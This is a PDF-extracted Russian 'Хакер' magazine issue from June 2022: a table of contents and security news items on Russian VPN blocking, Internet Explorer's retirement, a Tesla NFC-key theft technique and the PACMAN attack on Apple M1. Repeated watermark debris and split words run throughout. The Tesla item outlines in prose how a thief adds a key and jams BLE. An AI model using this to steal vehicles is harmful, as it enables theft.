Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
1
Добавлен:
20.04.2024
Размер:
14.52 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ПОДПИСКА НА «ХАКЕР»

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Мы благодарим всех, кто поддерживает редакцию и помогает нам компенсировать авторам и редакторам их труд. Без вас «Хакер» не мог бы существовать, и каждый новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже опубликованным на Xakep.ru;

год доступа к новым статьям, которые выходят по будням;

полное отсутствие рекламы на сайте (при условии, что ты залогинишься); возможность скачивать выходящие

каждый месяц номера в PDF, чтобы читать на любом удобном устройстве;

личную скидку 20%, которую можно использовать для продления

годовой подписки. Скидка накапливается с каждым продлением.

Если по каким-то причинам у тебя еще нет подписки или она скоро кончится, спеши исправить это!

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

 

o

 

 

w

 

 

c

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

df

 

n

e

 

Июнь 2022

 

df

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

№ 279

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CONTENTS

 

 

 

 

 

 

 

 

 

 

 

MEGANews

Самые важные события в мире инфосека за июнь

Флуктуация Пишем инжектор

шелл-кода для динамического

шифрования полезной нагрузки в памяти

Denonia

Как работает первый вредонос, нацеленный на AWS Lambda

Oh, Follina!

Изучаем нашумевшую

уязвимость в Microsoft Of ce

Уроки форензики Расследуем киберинцидент MrRobot

Фундаментальные основы хакерства Разбираем самодеятельность компиляторов при трансляции оператора выбора

Фундаментальные основы хакерства Определяем циклы в двоичном коде программы

Полное G Ломаем приложение на языке G, созданное в LabVIEW

HTB Meta

Эксплуатируем уязвимости в обработчиках изображений

HTB Timing

Пентестим веб-сервер на PHP

HTB Paper

Пентестим WordPress

и эксплуатируем баг в Polkit

HTB Ломаем

Phoenix

сайт на WordPress в обход WAF

Неприступный VPS Строим защищенный канал с внешним миром

Неспящий iPhone Как выключенный iPhone может шпионить за своим владельцем

Приходи на сеновал! Как устроен Ceno — мобильный браузер для обхода цензуры

Используй силу, Тукс! Применяем PowerShell в Linux

Roxy-WI

Удобный интерфейс

для HAProxy, Nginx, Apache и Keepalived

Часы для гика 2.0 Проектируем и собираем

настольные бинарные часы с Bluetooth

Время паять! Подбираем инструменты и осваиваем искусство пайки

Титры Кто делает этот журнал

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Мария «Mifrill» Нефёдова nefedova@glc.ru

В этом месяце: в России­ блокиру­ ют­ , но не запреща­ ют­ использовать­ VPN, инженер­ Google считает­ , что чат бот ком ­ пании обрел сознание­ , исследова­ тель­ показал, как угнать Tesla за 130 секунд, японские­ компании­ с трудом­ пережи ­

вают отказ от Internet Explorer, процес­ сорам­ Apple M1 угро ­

жает проблема­ PACMAN, а также­ другие­ интерес­ ­ные события.

VPN БЛОКИРУЮТ, НО НЕ ЗАПРЕЩАЮТ

В начале июня у россий­ ­ских пользовате­ ­лей возникли­ проблемы­ с NordVPN, Proton VPN и другими­ VPN-сервисами­ . Предста­ ­вите­ли Роскомнад­ ­зора под ­ твердили­ , что в рамках­ закона «о суверенном­ рунете» ведется­ работа по бло ­ кировке­ VPN-сервисов­ , в том числе­ Proton VPN, помогающих­ обходить­ бло ­ кировки­ признанно­ ­го в РФ запрещен­ ­ным контента­ .

После­ жалоб на проблемы­ с подклю­ ­чени­ем на сайте­ Proton VPN появилось­ официаль­ ­ное сообщение­ , в котором операто­ ­ры предположи­ ­ли, что начались блокиров­ ­ки.

«В настоящее­

время­

мы

изучаем­

проблему­

, и она не связана­

 

«с какими либо изменени­

ями­

с нашей

стороны­

. Вероятно­ , местные­

 

интернет провай­ деры­

и власти­ мешают­ работе VPN-соединений­

, и в

 

этом случае­ мы не сможем­

решить эти проблемы­

. Некоторые­

серверы­

 

могут продол­ жать­

работать.

Мы будем продол­ жать­

попытки­ обойти­

»

блокиров­

ку­ . Спасибо­

за ваше терпение­

и понимание­ », — писали пред-­

 

ставите­ ли­ сервиса­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вскоре­ после­ этого­ СМИ сообщили­ , что, согласно­ постам­ пользовате­ лей­

в социаль­ ных­ сетях, похожие проблемы­ наблюда­ ются­ у Lantern и Outline VPN,

а также­ сбоит­ NordVPN. Сервис­ GlobalCheck показывал­ , что сайт nordvpn.com

недоступен­ в сетях «Ростелеко­ ма­ », МТС, «Мегафона­ », Tele2, билайна­ и Yota. Специалис­ ты­ «Роском­ сво­ боды­ » подтвержда­ ли­ , что блокиров­ ки­ действи­ ­

тельно­ имеют­ место­ :

««Почти­ все серверы­ швейцар­ ­ско­го VPN-сервиса­ от создателей­ ProtonMail недоступны­ в России­ у провай­ ­деров с оборудо­ ­вани­ем ТСПУ. Блокиров­ ­ке подверга­ ­ется API-хост api.protonvpn.ch, из за чего

программа­ не может скачать­ список­ серверов­ для подклю­ ­чения, а так-­ же большинс­ ­тво публичных­ серверов­ в бесплат­ ­ной версии­ услуги­ . На момент написания­ этого­ сообщения­ работает­ сервер­ JP-FREE#9.0

0

Фильтра­ ­ция осущест­ ­вля­ется по IP-адресам­ серверов­ , а не по харак-­

терным признакам­ VPN-протоко­ ­лов, хоть и необычно­ : UDP-запросы­ остаются­ без ответа­ , а TCP-соединение­ устанав­ ­лива­ется, но „зависа-­» ет“ после­ первого­ отправленно­ ­го пакета».

Вскоре­ появилось­ и официаль­ ное­ заявление­ от предста­ вите­ лей­ Роскомнад­ ­ зора, которые сообщили­ , что в рамках­ закона «о суверенном­ рунете» в Рос ­ сии ведется­ работа по блокиров­ ке­ VPN-сервисов­ .

««Согласно­ закону „О связи­ “, средства­ обхода­ блокиро­ ­вок противоп­ -­ равного­ контента­ признают­ ­ся угрозой­ . Центр мониторин­ ­га и управле-­

ния сетью связи­ общего­ пользования­ (ЦМУ ССОП) принима­ ­ет меры

по ограниче­ ­нию работы на территории­ России­ VPN-сервисов­ , наруша-­ ющих россий­ ­ское законодатель­ ­ство», — заявили­ в пресс службе­ » ведомства­ .

Интерес­ но­ , что спустя­ около­ двух недель после­ этого­ глава­ Минцифры­ Мак ­ сут Шадаев­ сообщил­ , что власти­ не намерены­ вводить­ наказание­ для тех, кто пользует­ ся­ VPN-сервисами­ , чтобы­ обходить­ блокиров­ ки­ . При этом он отме ­ тил, что использование­ таких приложе­ ний­ все же не приветс­ тву­ ется­ .

««Никаких наказаний­ для пользовате­ ­лей [VPN] категоричес­ ­ки не будет вводить­ ­ся. Мы против­ этого­ . Поэтому­ , кому очень надо, такую воз-­

можность будет иметь, и будет иметь ее дальше­ , и сохранит­ . Но,

конечно­ , политике­ государства­ , когда­ в принципе­ ограничи­ ­вают дос-­ туп к каким то ресурсам­ , это противо­ ­речит. Я считаю­ , это разумный­ » компро­ ­мисс».

Также­ Шадаев­ поделился­ статис­ тикой­ пользователь­ ско­ го­ трафика­ , которую специалис­ ты­ Минцифры­ собирали­ до начала «спецопе­ рации­ » и после­ . По его словам­ , до 24 февраля­ суммарно­ на три заблокиро­ ван­ ные­ теперь социаль­ ­ ные сети — Facebook, Instagram (принад­ лежат­ корпорации­ Meta, которая признана­ экстре­ мист­ ской­ и запрещена­ в РФ) и Twitter — приходи­ лось­ 10– 12% от всего­ трафика­ . Однако­ после­ 24 февраля­ и блокиров­ ки­ на долю сер ­ висов VPN, которые помогали­ обойти­ ограниче­ ния­ , стало­ приходить­ ся­ лишь 20% от прежнего­ трафика­ трех соцсетей­ .

««То есть 80% просто­ ... неудобно­ переключать­ ­ся, включать­ , выключать­ [VPN], — пояснил­ Шадаев­ . — Потом, многие­ сайты­ , россий­ ­ские, ата-­ кованные­ из за рубежа, дают доступ­ только­ по россий­ ­ско­му IP. И в

этом смысле­ , даже если вы сидите под VPN, хотите зайти­ на россий­ -­ ский сайт, вам говорят, что он недоступен­ . Вам надо VPN выключить­ , » зайти­ на сайт, потом включить­ ».

26 000 000 ЗАПРОСОВ В СЕКУНДУ

Специалис­ ­там Cloudfare удалось­ отразить­ новую рекордную­ DDoS-атаку­ , в которой участво­ ­вал

небольшой­ , но мощный­ ботнет­ , состоящий­ из 5067 устройств­ . По информации­ Cloudfare, пиковая мощность­ атаки­ составила­ 26 миллионов­ запросов­ в секунду­ (request-per-second, RPS) и она была нацелена­ на одного­ из клиентов­ компании­ , использующих­ бесплат­ ­ный тариф ­ ный план.

Суммарно­ в атаке­ были задейство­ ваны­ 5067 устройств­ , каждое­ из которых могло­ генерировать­ пример­ но­ 5200 запросов­ в секунду­ . Интерес­ но­ , что этот небольшой­ ботнет­ , использовав­ ший­ виртуаль­ ные­ машины и серверы­ , оказал­ ся­ в 4000 раз мощнее­ куда более крупных­ ботнетов­ .

ЯПОНЦАМ СЛОЖНО БЕЗ IE

15 июня 2022 года Microsoft окончатель­ ­но «похоронила­ » Internet Explorer,

отказав­ ­шись от использования­ устарев­ ­шего браузе­ ­ра. Невзирая­ на то что к этому­ шагу в компании­ готовились­ давно­ и предуп­ ­режда­ли пользовате­ ­лей, прекращение­ поддер­ ­жки IE спровоци­ ­рова­ло настоящий­ хаос в Японии­ , где IE по прежнему­ был в ходу у многих­ компаний­ и госструк­ ­тур.

Нужно­ сказать­ , что разработ­ чики­ Microsoft давно­ реализуют­ постепен­ ный­ отказ от поддер­ жки­ Internet Explorer, чья доля рынка­ составля­ ет­ около­ 5%, и старают­ ся­ перевести­ пользовате­ лей­ на браузер­ Edge. К примеру­ , еще в 2020 году Microsoft включила­ принуди­ ­тель­ное перенаправле­ ­ние IE-to- Edge для всех пользовате­ ­лей.

С этого­ момента­ более 1000 различных­ сайтов­ вообще­ перестали­ откры ­ ваться­ в IE, и в их число­ вошли­ Twitter, Facebook и Instagram (заблокиро­ ваны­

в России­ , принад­ лежат­ компании­ Meta, признанной­ экстре­ мист­ ской­ орга ­

низацией­ , запрещен­ ­ной на территории­ РФ), VK, Google Drive, Microsoft Teams, ESPN, Stack Overfow, Yahoo Mail. Посетители­ таких ресурсов­ автомати­ ­чес­ки перенаправля­ ­лись в Edge.

15 июня 2022 года, как и планиро­ валось­ , Internet Explorer 11 был лик ­ видирован­ в клиент­ ских­ сборках­ Windows 10 20H2 и более поздних­ , а также­

в Windows IoT 20H2 и более поздних­ . В Windows 11 устарев­ ­ший браузер­ вооб ­ ще отсутству­ ­ет, так как в новой версии­ ОС браузе­ ­ром по умолчанию­ является­

Edge.

Теперь­ десктоп­ ­ная версия­ IE будет перенаправлять­ пользовате­ ­лей в Edge в течение несколь­ ­ких месяцев, а потом от браузе­ ­ра избавят­ ­ся окончатель­ ­но.

При этом есть продук­ ты­ , на которые ликвидация­ IE не распростра­ няет­ ся­ :

режим IE Mode в Edge, десктоп­ ­ный IE 11 в Windows 8.1 и Windows 7 (Extended Security Updates), Windows Server LTSC (все версии­ ), Windows Server 2022,

клиент­

Windows 10 LTSC (все версии­ ), Windows 10 IoT LTSC (все версии­ ).

При этом режим IE в Microsoft Edge будет поддержи­

вать­ ся­ по меньшей­

мере

до 2029 года, что даст разработ­

чикам­

долгих­ восемь лет на модернизацию­

устарев­

ших­

приложе­

ний­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Хотя­

подготов­

ка­ к 15 июня велась уже давно­ , издание­ Nikkei сообщило­

, что

«смерть» IE стала­ неприят­

ным­

сюрпри­ зом­

для множес­ тва­ японских­

компаний­

,

спровоци­

ровав­

настоящий­

хаос.

 

 

 

 

 

 

 

 

 

 

 

По данным­

журналис­

тов­ , начиная с апреля­ текущего­ года, токийско­ го­ раз ­

работчика­

ПО Computer Engineering & Consulting заваливали­

просьбами­

о помощи.

Проблема­

заключа­

ется­

в том, что клиенты­

, а это в основном

государствен­ ные­ учреждения­ , финансовые­ учреждения­ , а также­ производс­ ­ твенные­ и логистичес­ кие­ компании­ , управляли­ сайтами­ , совмести­ мыми­ толь ­

ко с Internet Explorer.

««Они знали­ [о поэтапном­ отказе­ ] давно­ , но, видимо, откладыва­ ­ли при-­» нятие мер», — расска­ ­зыва­ет предста­ ­витель компании­ .

Опохожих проблемах­ свидетель­ ­ство­вал и мартов­ ­ский опрос, проведен­ ­ный ИТ компани­ ­ей Keyman’s Net, который показал, что множес­ ­тво организа­ ­ций в Японии­ до сих пор используют­ Internet Explorer. При этом 49% респонден­ ­тов

заявили­ , что браузер­

им нужен для работы.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

По словам­

 

опрошен­ ных­ ,

браузер­

, в частнос­

ти­ , использовал­

ся­

для управления­

посещаемостью­

сотрудни­

ков­ , расчета­

расходов­

и ряда дру ­

гих внутренних­

 

инстру­ мен­ тов­ .

В некоторых­

случаях­

 

у компаний­

 

просто­

не было другого­

выбора, посколь­

ку­ на IE оказались­

завязаны­ системы­

кли ­

ентов, необходимые­

для обработ­ ки­ заказов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Хуже­ того, более 20% респонден­

тов­

признали­

, что они вообще­ не знали­

или не поняли, как перейти­ на другие­ браузе­ ры­ после­ прекращения­

поддер­ ­

жки Internet Explorer.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СМИ писали, что особен­ но­ медленно­

на отказ от IE реагирова­

ли­ японские­

госорганы­

. К примеру­

, сайт, на котором размеща­

ется­

 

информация­

о гос ­

закупках­ и торгах­ , только­ после­ 15 июня стал рекомендовать­

пользовате­

лям­

не Internet Explorer, а браузе­ ­ры Microsoft Edge и Google Chrome. Для работы с сайтом­ пенсион­ ­ной службы­ Японии­ и онлайн заявлени­ ­ями до сих пор нужно­ просматри­ ­вать сайт в IE-режиме в Edge. А на многих­ других­ государствен­ ­ных ресурсах­ Internet Explorer по прежнему­ указан­ в качестве­ единствен­ ­ного рекомендуемо­ ­го браузе­ ­ра.

««Японцы­ любят безопасность­ . Чем крупнее­ организа­ ­ция или пра-­ вительствен­ ­ное учреждение­ , тем дольше­ они колеблются­ [перед при-­

нятием­ решения], — комменти­ ­ровал Тецутаро­ Уэхара­ , профес­ ­сор Ази-­ атско Тихоокеан­ ­ско­го универ­ ­ситета Рицумэйкан­ . — Самая большая­

проблема­ заключа­ ­ется в том, что, когда­ речь идет о правитель­ ­ствен-­ ных сайтах­ , существу­ ­ет очень ограничен­ ­ное количество­ поставщи­ ­ков, » которые могут вводить­ в работу столь большие­ системы­ ».

APPLE ОПУБЛИКОВАЛА СТАТИСТИКУ БАНОВ

Компания­

Apple опубликова­

ла­ ежегод­ ный­

отчет о работе команд экспертов­

App Review

и Discovery Fraud, которые отвечают­

за анализ­ приложе­

ний­ , попадающих­

(или не попадающих­

)

в App Store, а также­ борьбу­ с мошенниками­

.

 

 

 

 

 

Инженеры­ компании­ говорят, что за год они защитили­ пользовате­ лей­ от 1 600 000 опасных­ и ненадежных­ приложе­ ний­ и обновлений­ .

УГНАТЬ TESLA ЗА 130 СЕКУНД

Австрий­ ­ский исследова­ ­тель Мартин­ Херфурт­ (Martin Herfurt) продемонс­ ­три ­ ровал новый способ­ угона­ Tesla. Оказалось­ , для этого­ можно­ злоупот­ ­ребить функци­ ­ей добавления­ новой NFC-ключ карты­ и проделать­ это незаметно­ для владель­ ­ца авто, всего­ за 130 секунд.

Корень­ проблемы­ заключа­ ­ется в том, что в прошлом­ году Tesla выпустила­ обновление­ , которое упростило­ запуск автомоби­ ­лей после­ разбло­ ­киров­ки NFC-ключ картами­ . Раньше­ водители­ , которые использовали­ ключ карту­ для разбло­ ­киров­ки своих­ авто, должны­ были поместить­ ее на централь­ ­ную консоль­ , чтобы­ начать движение­ . Но после­ обновления­ , вышедшего­ в августе прошлого­ года, владель­ ­цы Tesla получили­ возможность­ управлять своими­ автомоби­ ­лями сразу­ после­ разбло­ ­киров­ки с помощью ключ карты­ , которая является­ одним из трех основных способов­ разбло­ ­киров­ки авто (два других­ способа­ — это брелок­ и мобильное­ приложе­ ­ние).

Херфурт­ обнаружил­ , что у новой функции­ есть странная­ особен­ ность­ : она не только­ позволя­ ет­ автомоби­ лю­ автомати­ чес­ ки­ заводиться­ в течение 130 секунд после­ разбло­ киров­ ки­ , но и переводит­ его в состояние­ , позволя­ ющее­ принимать­ новые ключи­ , без необходимос­ ти­ аутентифика­ ции­

ибез какой либо индикации­ на дисплее­ авто.

««Tesla ввела­ этот таймер­ , чтобы­ сделать­ использование­ NFC-карт более удобным­ . То есть автомобиль­ должен­ заводиться­ и ехать

без повторно­ ­го использования­ ключ карты­ пользовате­ ­лем. Но есть проблема­ : в течение 130-секундно­ ­го периода­ разреша­ ­ется не только­ вождение­ автомоби­ ­ля, но и [регистра­ ­ция] нового ключа­ », — объясня­ ­ет » эксперт.

Конеч­ но­ , официаль­ ное­ приложе­ ние­ Tesla не позволя­ ет­ регистри­ ровать­ новые ключи­ , если оно не подклю­ чено­ к учетной­ записи владель­ ца­ , однако­ Херфурт­ обнаружил­ , что автомобиль­ охотно­ обменива­ ется­ сообщени­ ями­ с любым другим­ устройством­ Bluetooth Low Energy (BLE), находящим­ ся­ поблизос­ ти­ . В итоге­ эксперт создал­ собствен­ ное­ приложе­ ние­ под названи­ ем­ Teslakee, которое использует­ VCSec, как и официаль­ ное­ приложе­ ние­ Tesla.

Teslakee демонстри­ рует­ , с какой легкостью­ воры могут добавить авто ­ мобилю­ собствен­ ный­ ключ. Нужно­ просто­ находиться­ неподалеку­ от авто во время­ 130-секундно­ го­ окна после­ разбло­ киров­ ки­ NFC-ключ картой­ . После­ этого­ вор может использовать­ свой ключ, чтобы­ открыть, завести­ и заглушить­ автомобиль­ в любое время­ . Ни на дисплее­ авто, ни в настоящем­ приложе­ нии­ Tesla при этом не будет отображать­ ся­ никаких сообщений­ о случив­ шемся­ .

Если­ же владелец­ транспортно­ ­го средства­ использует­ для разбло­ ­киров­ки авто приложе­ ­ние (а это самый распростра­ ­нен­ный метод разбло­ ­киров­ки Tesla), злоумыш­ ­ленник может вынудить жертву­ использовать­ ключ карту­ . Для этого­ достаточ­ ­но принес­ ­ти с собой глушил­ ­ку и заблокиро­ ­вать частоту­ BLE, необходимую­ для работы приложе­ ­ния.

Херфурт­ успешно испробовал­ свою атаку­ на Tesla Model 3 и Y. Он не про ­ верял данный­ метод на новых Model S и X, но предполага­ ет­ , что они тоже уяз вимы, так как используют­ те же технологии­ .

Нужно­ отметить­ , что Херфурт­ создал­ Teslakee и провел­ свое исследова­ ­ние в рамках­ Project Tempa, который «предос­ ­тавля­ет инстру­ ­мен­ты и информацию­

о протоко­ ле­ VCSec, используемом­ аксессуара­ ми­ и приложе­ нием­ Tesla для управления­ транспортны­ ми­ средства­ ми­ через Bluetooth LE». Также­ Хер ­ фурт является­ членом­ Trifnite Group, исследова­ тель­ ско­ го­ и хакерско­ го­ кол ­ лектива­ , занимающе­ гося­ проблемами­ BLE.

Иссле­ ­дова­тель обнародо­ ­вал данные­ о проблеме­ , так как, по его словам­ , Tesla вряд ли ее исправит­ . Херфурт­ пишет, что он так и не получил от ком ­ пании никаких ответов­ по поводу других­ уязвимос­ ­тей, которые обнаружил­

в2019 и 2021 годах, и сомнева­ ­ется, что теперь что то изменит­ ­ся.

««У меня сложилось­ впечат­ ­ление, что они уже обо всем знали­ и не хотели что либо менять, — говорит Херфурт­ . — На этот раз Tesla [тоже] не может не знать об этой скверной­ имплемен­ ­тации. Поэтому­ я » просто­ не вижу смысла­ связывать­ ­ся с Tesla заранее».

МОШЕННИЧЕСКИЕ КОЛ-ЦЕНТРЫ В КОЛОНИЯХ ЗАКРЫТЫ

В кулуарах­ конферен­ ­ции «Цифровая­ индустрия­ промыш­ ­ленной России­ » заместитель­ правления­ «Сбербанка­ » Станис­ лав­ Кузнецов­ расска­ зал­ журналис­ там­ , что проблема­ с мошенничес­ кими­ кол центра­ ­ми в россий­ ­ских колониях­ на сегодня­ решена. По его словам­ , еще три четыре года назад с территории­ колоний работало­ «очень большое­ количество­ кол центров­ », но теперь все изменилось­ .

«Наши эксперты­ в свое время­ вскрыли­ проблему­ , что очень большое­ количество­ кол центров­ работало­ с территории­ россий­ ­ских колоний. В свое время­ мы давали статис­ ­тику (это статис­ ­тика трех четырехлетней­ давности­ ), что около­ 40% — это с территории­ Украины­ , около­ 40% — с территории­ колоний, тюрем, около­ 20% — с территории­ других­ точек, сопредель­ ­ных стран или с тер ­ ритории России­ .

Сейчас­ мы видим только­ единич­ ­ные какие то факты­ , когда­ на наших сис ­ темах мониторин­ ­га мы видим трансакции­ , которые проходят­ как мошенничес­ ­кие из тюрем либо из колоний. Мы считаем­ , что проблема­ кол центров­ в россий­ ­ских колониях­ решена, и решена прежде­ всего­ руководством­ ФСИН»,

— заявил Кузнецов­ .

Продолжение статьи0

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

← 0Начало статьи

PACMAN ПРОТИВ APPLE M1

Специалис­ ­ты Массачусет­ ­ско­го технологи­ ­чес­кого института­ обнаружи­ ­ли, что чипы Apple M1 уязвимы­ перед спекуля­ ­тив­ной атакой­ PACMAN. Эта проблема­ носит аппарат­ ­ный характер­ и связана­ с аутентифика­ ­цией указате­ ­ля (pointer authentication), позволяя­ злоумыш­ ­ленни­ку выполнить­ произволь­ ­ный код на уязвимом­ устройстве­ .

Pointer authentication — защитная­ функция­ , добавляющая­ к указате­ ­лям криптогра­ ­фичес­кую подпись­ , называемую­ pointer authentication code (PAC).

Благода­ ря­ ей операци­ онная­ система­ обнаружи­ вает­ и блокиру­ ет­ неожидан­ ­ ные изменения­ , которые в против­ ном­ случае­ могли­ бы привес­ ти­ к утечке­ дан ­ ных или компро­ мета­ ции­ . Атака­ PACMAN позволя­ ет­ удален­ но­ обойти­ аутен ­ тификацию­ указате­ ля­ в ядре из userspace, по сути давая атакующе­ му­ полный­ контроль­ над чужой машиной.

Для реализации­ атаки­ злоумыш­ ­ленни­кам сначала­ понадобит­ ­ся найти­ баг

впамяти, связан­ ­ный с ПО на устройстве­ жертвы­ . Необходимо­ , чтобы­ эта ошибка­ была заблокиро­ ­вана PAC, то есть имела­ возможность­ перерасти­

вболее серьезную­ проблему­ .

««PACMAN использует­ существу­ ­ющие програм­ ­мные ошибки­ (чтение­ / запись памяти) и превраща­ ­ет их в более серьезный­ примитив­ эксплу­

атации­

(обход

pointer

 

authentication),

который может привес­ ти­

 

к выполнению­

произволь­

ного­

кода. Чтобы­ проделать­

это, нам нужно­

 

узнать значение­

PAC для конкрет­ ного­

указате­ ля­ жертвы­ , — расска­ -­

 

зывают­ эксперты­ . — PACMAN добивается­

этого­ с помощью того, что

 

мы называем­ PAC Oracle. Это способ­ ность­

определять­

, соответс­ тву­ ет­

 

ли данный­

PAC конкрет­ ному­

указате­ лю­ . PAC Oracle не должен­

сбоить­

»

даже в случае­ неверных­ предположе­

ний­ , и с его помощью мы брут-­

 

форсим все возможные­

значения­

PAC».

 

 

 

 

 

 

 

